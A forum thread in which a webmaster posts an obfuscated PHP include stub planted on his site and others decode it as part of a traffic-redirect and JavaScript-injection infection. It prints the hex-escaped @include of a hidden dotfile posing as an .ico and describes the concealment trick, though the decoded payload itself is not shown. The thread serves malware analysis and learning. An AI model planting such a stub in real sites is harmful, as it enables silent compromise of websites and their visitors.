What kind of php malware is this?

So I found the below piece of code in my webhost account, it was smart enough to overwrite my default index.html and replaced it with index.php containing the below code which got executed each time someone hit the website without showing any signs of hacks to the end user.
Turns out my ftp username was compromised so thats how it found its way however I trying to decode and make sense of what exactly it does.

any takers ?



@include "\x2fhome\x2feddy\x77ebs/\x65ddyw\x65bs.c\x6fm/pa\x73swor\x64-gen\x65rato\x72/css\x2f.d40\x64f8b5\x2eico";


echo @file_get_contents('index.html.bak.bak');
1 Like

Ooooh interesting. @ricksanchez check this out. Who wants some reverse engineering of real malware? @Cry0l1t3 @fraq @anon79434934

If you remove all the '\x’s, you’ll notice that you get this:


Replacing all these ‘\xYY’ with their respective ASCII representantion yields:

@include "/home/eddywebs/eddywebs.com/password-generator/css/.d40df8b5.ico";

no idea what the ade56 is all about?
maybe it’s supposed to be a clever algo cloaking the actual #include

wget eddywebs.com/password-generator/css/.d40df8b5.ico > sample
gives us a some weird ass php code. looks ‘encrypted’ with some number2character mapping…

1 Like

@net_phile, can you see what is inside of that file?

If you navigate there, you find this…


Reagrding the password generator:

http://www.eddywebs.com/ if that’s the URL it points to his github which has:


woops I missed that ‘/’ in that URL there. my bad :smiley:

edit: but yeah that .ico file looks suspicious. especially the mapping from numbers to characters halfway in

Check the 0x00bin ^^, I copied and pasted it there.

I changed some of the variables to make things easier:


So I’ve managed to get past the first level of obfuscation:

This is what it evals:


1 Like

changing the eval to an echo in the weird php code of the .ico and running it with php file reveals some new obfuscated php code.

I renamed the variables to my best knowledge:


Hi there! Thanks for a fun challenge! I’m sharing here the clear-text code in its final stage :smiley:

As a malware researcher, I encounter tons of examples as this. My main method is to clean the noise and let the malicious code to decrypt itself. If there’ll be a request I’ll write you a write-up of how I did it and why I did every step.

So what we have here?
Seems like an implementation of a TDS Client and an injection of a Javascript code to the browser. This is just an assumption from a quick read of the keywords.
I honestly didn’t read the code once I got to the final stage of a clear-text + commented code.
The next is for you as an exercise :smiley:

You can try, for example, to decrypt the encoded config data.

Here’s the decrypted source – Enjoy!



YES PLEASE! A websec noob like me could use such a thing.

1 Like

Hi guys just got this @ricksanchez the file seems to be introduced on Aug 14 in webserver and is not in original src code.

Here was what I found in server using ls -la,

I will contact the sys admins to see find out any more info. About the actual contents of .ico file I guess smart folks here have already figured that out.

I like how the .dotfile name convention is used because if you use command ls it doesnt show.

anyways the dump for the ico is file is available here >> http://termbin.com/ern5

1 Like

I 100% want to see a writeup for this. I got a little way through, but got stuck on the second level.

Real world malware is so useful to read about and learn from. If you did that, it would be awesome!


This topic was automatically closed 3 days after the last reply. New replies are no longer allowed.